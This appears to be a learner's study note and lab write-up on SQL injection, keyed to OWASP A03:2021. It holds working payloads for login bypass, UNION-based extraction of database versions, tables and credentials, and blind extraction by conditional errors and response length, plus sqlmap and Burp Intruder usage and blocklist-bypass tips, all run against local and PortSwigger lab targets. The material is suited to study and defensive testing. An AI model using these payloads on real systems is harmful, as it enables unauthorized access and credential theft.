Refer: OWasp A03:2021
- How: Start off adding single/double quote to break the structure and study the responses. If vulnerable, append query to retrieve information.
- Type: Classic, UNION, Blind, Time-based
SQLi Vulnerability Discovery
Note: 💭 When determining SQLi, think of everything you send to the application, how it may be used?
Database: Select user from users where username = “User_Input” or ‘User_Input’
Visit SQLi cheat sheet.
- Single of double quote. Try to break the design.
E.g.,bob'orbob" - Logical query:
or 1=1
E.g.,bob' or 1=1,bob' or '1=1,bob" or "1=1 - Comment :
#---, everything after it will be ignored.
E.g.,bob' or '1=1#bob' or '1=1-- -bob" or "1=1#bob" or "1=1-- -
Checklist
Click me to expand checklist
- What is the technology stack you’re attacking?
- Frontend technologies (e.g., React, Angular)
- Backend frameworks and languages (e.g., Node.js, Django)
- Web server (e.g., Apache, Nginx)
- Database (SQL or NoSQL)
- Is there an ORM?
- Other middleware, caching, cloud services, and tools that make up the full system
- Verify injection points
- URL parameters (e.g., https[://]example.com/user?userid=2 OR 1=1)
- Form fields (e.g., login forms or search boxes)
- HTTP headers (e.g., cookies, user-agent, authorization token, X-Forwarded-For, etc.)
- Out-of-band (e.g. data retrieved from a third party)
- Test
'and"- Can you trigger an error?
- Can you trigger a different response? (e.g., “Internal Server Error” rather than “No Results Found”)
- Test with SQLmap
- Test for login bypass
' and 1=1-- -etc - Test for blind SQLi
- Test for errors
- Test for conditional responses
TrackingId=xyz' AND '1'='1 # condition is true TrackingId=xyz' AND '1'='2 # condition is false - Test for conditional errors
xyz' AND (SELECT CASE WHEN (SUBSTRING(Password,1,1) > 'm') THEN 1/0 ELSE 'a' END FROM Users WHERE Username='Administrator')='a # Error appears: The letter is after "m". # No error: It’s "m" or earlier. - Test for time delays
- Test for out-of-band interactions
- Test for NoSQL injection
- Is there a blocklist?
- a list of disallowed characters, keywords, or patterns
- Can we bypass the blocklist?
- Encoding (e.g., URL encoding, Unicode)
- Double encoding
- Alternative characters
- Alternative payloads (e.g.,
OR 0x50=0x50instead ofOR 1=1)
- Test for second-order SQLi
- Inject a payload into the application input for storage
- trigger usage of stored data in a query
SQLi Union
It appends an additional SQL query after the original, legitimate one.
Note: ⚠️UNION SELECT: Determine the available column number can be returned first. Keep adding ,NULL values until the query returns results properly.
SQL: bob’ union select null#
In the first example, the database contains 3 columns that contains text. But it only gives us two output bob and null.

- Table
UNION SELECT table_name from information_schema.tables# - Column
UNION SELECT column_name from information_schema.columns# - Retrieve Data
UNION SELECT username from <Table>
Version Query
Insert version query make it return at the 3rd column. Which tells us the version of the SQL database is 8.0.43.
SQL: bob' union select null,null,version()#
Return:
Username: bob - Email: bob@example.com
Username: Email: 8.0.43
Available_Table Query
Use table_name from information_schema.tables to retrieve all available table name from the DB.
SQL: bob' union select null,null,table_name from information_schema.tables#
Return: Username: bob - Email: bob@example.com
Username: - Email: CHARACTER_SETS
.
.
.
Username: - Email: injection0x03_products
Username: - Email: injection0x03_users
Username: - Email: xss0x02
Available_Column Query
Use column_name from information_schema.columns to retrieve all available column names from the DB.
SQL: bob' union select null,null,column_name from information_schema.columns#
Username: bob - Email: bob@example.com
Username: - Email: username
Username: - Email: password
Username: - Email: email
Retrieve Password Query
Since we discover there’s password in our current table injection0x01. use select password from injection0x01.
SQL: jeremy' union select password from injection0x01,null,null#
Username: jeremy - Email: jeremy@example.com
Username: - Email: jeremyspassword
Username: - Email: jessamyspassword
Username: - Email: bobspassword
Note: ⚠️ If 1st column doesn’t work, try insert query in 2nd column. If it still not working, try 3rd column, and so on.
SQLi Blind
when Web application doesn’t return any error messages or data from DB. We need to look for subtle differences in the server’s response, which can reveal whether the input field is vulnerable to SQL injection.
E.g., Response Content-Length
Note: 🚨 If it return the same response as the original request, it means the input is vulnerable to SQLi.
After determine the vulnerability to SLQi Blind, we use YES/NO approach to extract data.
E.g., Is user ‘Admin’ existed in DB? YES/NO?
Burp Suite Proxy
Using Burp Proxy intercept POST /labs/i0x02.php request that contains login payload username=jeremy&password=jeremy.
Copy and paste the entire body to .txt file, we will use SQLMAP to identify injectable input area.
POST /labs/i0x02.php HTTP/1.1
Host: localhost
Content-Length: 31
Cache-Control: max-age=0
Origin: [http://localhost](http://localhost/)
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Connection: keep-alive
username=jeremy&password=jeremy
Identify SQL injectable by SQLMap
Run the application against target HTTP request, it will analyze and tell us which input is vulnerable to SQLi.
$ sudo sqlmap -r <Path_to_Target_File>
The result suggest all the input in the page aren’t injectable.
[12:28:49] [WARNING] heuristic (basic) test shows that POST parameter ‘username’ might not be injectable [12:29:06] [WARNING] POST parameter ‘username’ does not seem to be injectable
[12:29:06] [WARNING] heuristic (basic) test shows that POST parameter ‘password’ might not be injectable
[12:29:07] [WARNING] POST parameter ‘password’ does not seem to be injectable
[12:29:07] [CRITICAL] all tested parameters do not appear to be injectable.
After learning the 1st request we captured isn’t valuable, we move on to the next request GET /labs/i0x02.php which contains our session cookie in the body.
Cookie: session=6967cabefd763ac1a1a88e11159957db
Response: Content-Length: 1027
Insert quote to test if we can break the structure, which gives us the same Content-Length in response.
Cokie: session=6967cabefd763ac1a1a88e11159957db' and 1=1#
Response: Content-Length: 1027
Substr()
Syntax: substr(string,start,length)
E.g., `substr("SQL Test",5,3)`
# Extract a substring from a string, and start at position 5, extract 3 characters.
In our case, if we send Cookie: session=<cookie>' and substring('a',1,1) = 'a'# which will return normal Content-Length. That’s because the string the 1st character from position 1 is equal to ‘a’.
So we’d like to compare the provide character with the data in the DB.
Version Testing
- Send
Cookie: session=<cookie>' and substring((version()),1,1) = '8'#which return normal Content-Length (1027).
# That indicates the version start with 8. - After testing each number of the version one by one. we retrieve the SQL version with
Cookie: session=<cookie>' and substring((version()),1,5) = '8.0.4'#that return normal Content-Length (1027)
Burp Suite Intruder
Since password can be long and complex, we can utilize the Burp Intruder perform the automatic task.
- Send the request to intruder
Cookie: session=<cookie>' and substring((select password from injection0x02 where username = 'jeremy'),1,1) = 'payload'#` -
Use all Alphanumeric character as payload

- Determine the correct character by studying the Content-Length

SQL Map
- $ python3 sqlmap.py -r <Path_to_Target_File> --level=2
# --level=2 meant for cookie parameter injection.
- $ python3 sqlmap.py -r <Path_to_Target_File> -T <Table_name> --dump
Lab
Just for demostration, I completed some labs on PortSwigger Academy to show how this vulnerability can lead to:
1. SQLi vulnerability in WHERE clause allowing retrieval of hidden data
Perform a SQL injection that causes the application to display one or more unreleased products.
URL: https://vulnerable.net/filter?category=' OR 1=1--
Query: SELECT * FROM products WHERE category = '' OR 1=-1 -- AND released = 1
2. SQLi vulnerability allowing login bypass
Perform a SQLi that logs in to the web application as the administrator.
I receive “Internal Server Error” after submitting a single quote ' in username field, which I can determine the application is vulnerable to the injection with single quote '.
Then I tried commenting out the rest of the syntax by adding --, which allows me to bypass the password requirement.
Username: administrator' --
Query: SELECT firstname FROM users WHERE username='administrator' --' and password=''
3. Querying the database type and version on Oracle
Use SQL UNION SELECT to retrieve the Database version from an injected query.
Click me to expand the steps
- To perform UNION SELECT, first to determine how many available columns are in the table. I use
' order byto learn there are two columns available./filter?category=Accessories'+order+by+1-- # No error /filter?category=Accessories'+order+by+2-- # No error /filter?category=Accessories'+order+by+3-- # Receive Internal Server Error - Next, to determine the data type, I insert string into both columns. Since I learn that this is Oracle database, we need to include a FROM clause into the syntax. We can use dual table.
The result tells me that both columns contains string./filter?category=Accessories'+union+select+'a','a'+from+dual -- Response: Column_1: a. Column_2: a - Lastly, refer to SQL injection cheat sheet for syntax to query the DB’s version.
/filter?category=Accessories'+union+select+banner,null+from+v$version -- Response: CORE 11.2.0.2.0 Production NLSRTL Version 11.2.0.2.0 - Production Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production PL/SQL Release 11.2.0.2.0 - Production TNS for Linux: Version 11.2.0.2.0 - Production
-
4. Querying the database type and version on MySQL and Microsoft
I use SQL UNION SELECT to retrieve the Database version from an injected query.
Click me to expand the steps
-
I try insert
/filter?category='+order+by+2--in the url which doesn’t work. And/filter?category='+order+by+2%23works, it indicates the table contains two columns. - To determine which column contains text. And the response tells me both contains text.
/filter?category='+union+select+'a','a'%23 Response: Column_1: a. Column_2: a - Lastly, refer to SQL injection cheat sheet for syntax to query the DB’s version.
/filter?category=%27+UNION+SELECT+@@version,null%23 Response: 8.0.42-0ubuntu0.20.04.1
-
5. listing the database contents on non-Oracle databases
In this instance, I use SQL UNION SELECT retrieve data from other tables
Click me to expand the steps
-
Insert
'+order+by+2--to confirm there are two columns in the table. - To determine which column contains text. And the response tells me both contains text.
/filter?category='+union+select+'a','a'-- Response: Column_1: a. Column_2: a - Since I only know the DB is non-Oracle, I use SQL injection cheat sheet to find the syntax for DB version query.
After a couple of tries, I know it is PostgreSQL/filter?category='+union+select+version( ),null-- Response: PostgreSQL 12.22 (Ubuntu 12.22-0ubuntu0.20.04.4) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0, 64-bit - After knowing the DB version, refer to SQL injection cheat sheet and PostgresSQL: Documentation to query all available tables in the DB.
/filter?category='+union+select+table_name,null+from+information_schema.tables-- Response: schemata users_vruilz products - After learning the table name is ‘users_vruilz’, I refer to PostgresSQL: Documentation again for the available columns in the table.
/filter?category='+union+select+column_name,null+from+information_schema.columns+where+table_name='users_vruilz'-- Response: username_yoxkoo password_ashqbx - Lastly, query both username and password columns for the credentials.
/filter?category='+union+select+username_yoxkoo,password_ashqbx+from+users_vruilz-- Response: administrator nuyt5n8chfwzc4timp80 wiener y2ah94mrtx1gfwdofhxz
-
6. listing the database contents on Oracle
In this instance, I use SQL UNION SELECT retrieve data from other tables
Click me to expand the steps
-
Insert
'+order+by+2--to confirm there are two columns in the table. - To determine which column contains text. And the response tells me both contains text.
/filter?category='+union+select+'a','a'+from+dual-- Response: Column_1: a. Column_2: a - Since I already knew the DB is Oracle, I refer to Turtorialspoint-How to List All Tables in a Schema in Oracle Database? and SQL injection cheat sheet for Oracle SQL syntax to retrieve all available tables, columns, and columns contents.
/filter?category='+UNION+SELECT+table_name,null+FROM+all_tables-- Response: TABLE_PRIVILEGE_MAP USERS_TLWTXR - After know which table to look into, I need to learn what columns are in there.
/filter?category='+UNION+SELECT+column_name,null+FROM+all_tab_columns+WHERE+table_name='USERS_TLWTXR'-- Response: USERNAME_OSZZUR PASSWORD_ABETVL - Lastly, find out the content of username and password column
/filter?category='%27+UNION+SELECT+USERNAME_OSZZUR,PASSWORD_ABETVL+FROM+USERS_TLWTXR-- Response: administrator 2oajo9huvzn5t1ut2qya carlos iyodof6y47bboc096xq2
-